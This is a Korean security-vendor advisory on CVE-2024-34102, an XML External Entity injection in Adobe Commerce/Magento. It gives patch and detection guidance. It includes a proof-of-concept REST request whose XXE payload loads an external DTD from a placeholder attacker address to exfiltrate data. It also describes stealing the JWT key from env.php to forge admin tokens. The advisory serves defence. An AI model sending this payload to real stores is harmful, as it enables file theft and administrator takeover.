fbpx

Threat Intelligence Report

Get up-to-date information on web application vulnerabilities, attacks, and how to respond.

Threat Intelligence Report 메인페이지로 돌아가기

[2024년 7월 취약점 보고서] Adobe Commerce & Magento XML External Entity(XXE) Injection

TA팀이  "Adobe Commerce & Magento XML External Entity(XXE) Injection"을 분석하여 작성한 취약점 보고서


Adobe Commerce & Magento XML External Entity(XXE) Injection

해당 취약점은 Adobe Commerce의 Magento에서 발생하는 XML 외부 엔티티(XXE) 인젝션 취약점으로,

REST API를 통해 취약한 클래스에 악성 XML 데이터를 삽입하여 내부 파일에 액세스하거나 임의의 명령을 실행할 수 있습니다.

이 취약점은 Adobe에서 2024년 6월에 발표한 보안 패치를 적용하면 해결할 수 있으며, 이는 일반적으로 XML 외부 엔티티(XXE) 인젝션 공격을 탐지하는 패턴을 통해 AIWAF 제품에서 탐지됩니다.


1. 개요

Adobe에서 지원하는 eCommerce 플랫폼인 Adobe Commerce는 오픈소스인 Magento를 활용해 전자상거래 솔루션을 제공하고 있으며, 현재 해당 솔루션을 사용하고 있는 사이트는 약 12만개 정도로 집계되며, 상위 10만개 웹사이트 중에서는 1.12%인 1,100개 정도의 사이트가 해당 솔루션을 사용하고 있습니다.

image.png

출처 : https://trends.builtwith.com/shop/Magento

해당 서비스에서 발견된 여러 취약점 중 최근 발표된 XML 외부 개체 주입 취약점인 CVE-2024-34102에 대해 분석한 내용을 정리하였습니다.

image.png

출처 : https://thehackernews.com/2022/02/critical-magento-0-day-vulnerability.html


2. 공격 유형

Adobe에서는 2024년 6월, Adobe Commerce 및 Magento에서 일부 보안 문제에 대한 패치를 공개하였으며, 이후 해당 패치에서 CVE-2024-34102에 대한 격리된 패치를 추가로 발표하였습니다.

Magento는 HTTP PHP 서버 애플리케이션으로, 사용자 Interface와 API 둘 다 제공하고 있습니다. 해당 API는 REST 형태로도 제공하는데, 해당 REST API 요청을 Magento에서는 다음과 같이 해석합니다.

예시 요청 :

POST /rest/default/V1/carts/mine/estimate-shipping-methods HTTP/1.1
Host: foo.example
Content-Type : application/json
Content-Length: 1402

{
    "address": {
        "data": [1, 2, 3],
        "BaseShippingAmount" : 123
    }
}
  1. JSON의 필드가 Class 생성자의 변수 이름과 일치하는 경우 해당 필드를 Argument로 전달.
  2. 이름이 일치하지 않을 때는 set 이라는 이름의 클래스에서 필드 또는 메서드를 탐색.

상단 요청의 필드 데이터를 보면 Address 클래스의 생성자에는 배열 형태의 data 변수가 존재하므로, 해당 데이터를 전달하게 됩니다.

이후 해당 클래스가 인스턴스화 된 후, 저장된 data 변수에 접근하는 여러 메서드들이 호출됩니다.

다만 이러한 작업들이 모든 매개변수를 대상으로 재귀적으로 작동하기 때문에, 개발자가 의도하지 않은 직렬화가 가능한 클래스 또한 인스턴스화가 가능합니다.

해당 취약점을 분석한 Assetnote에 따르면, Magento 내 SimpleXMLElement 클래스를 통해 역직렬화 RCE 공격이 가능한 것을 확인하였고, 추가 연구를 통해 /rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods의 sourceData 파라미터에 악성 XML 데이터를 전송하여 SimpleXMLElement 클래스에 접근 및 인스터스화 할 수 있음을 확인하였습니다.

PoC :

POST /rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods HTTP/2
Host: example.com
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Content-Type: application/json
Content-Length: 274

{
  "address": {
    "totalsReader": {
      "collectorList": {
        "totalCollector": {
          "sourceData": {
            "data": "<?xml version=\"1.0\" ?>  <!ENTITY % sp SYSTEM \"http://your_ip:9999/dtd.xml\"> %sp; %param1; ]> <r>&exfil;</r>",
            "options": 16
          }
        }
      }
    }
  }
}

해당 취약점을 통해 다음과 같은 공격이 가능합니다.

  • 인증용 JWT 토큰 생성에 사용되는 Key값이 저장된 /app/etc/env.php 파일에 접근하여 Key 값을 탈취, 임의 관리자 JWT 토큰을 생성할 수 있습니다.
  • CVE-2024-2961 취약점과 연계하여 RCE 공격을 수행할 수 있습니다.
  • 임의 로컬 파일에 접근하거나 원격 URL 내용을 얻을 수 있습니다.

3. 대응 방안

Adobe에서는 해당 취약점에 대한 보안 패치를 발표하였기 때문에, 해당 패치를 적용하여 대응이 가능합니다.

저희 AIWAF 제품에서는 XML External Entity(XXE) Injection 공격을 탐지하는 패턴인 "409: XML External Entity" 패턴에서 정상적으로 탐지되고 있습니다.


4. 결론

다양한 곳에서 사용되는 전자상거래 플랫폼인 Adobe Commerce의 Magento에서 발견된 해당 취약점은 간단한 공격 구문으로 많은 피해를 발생시킬 수 있는 취약점이기에 최근 발표된 보안 패치를 적용해야 합니다.

저희 AIWAF 제품에서는 Adobe Commerce의 Magento에 발생하는 취약점들에 대해 패턴을 개발하여 대응하고 있으며, 앞으로도 발견되는 관련 취약점들에 대해서도 신속하게 대응할 예정입니다.


5. 참고 자료

Scroll Up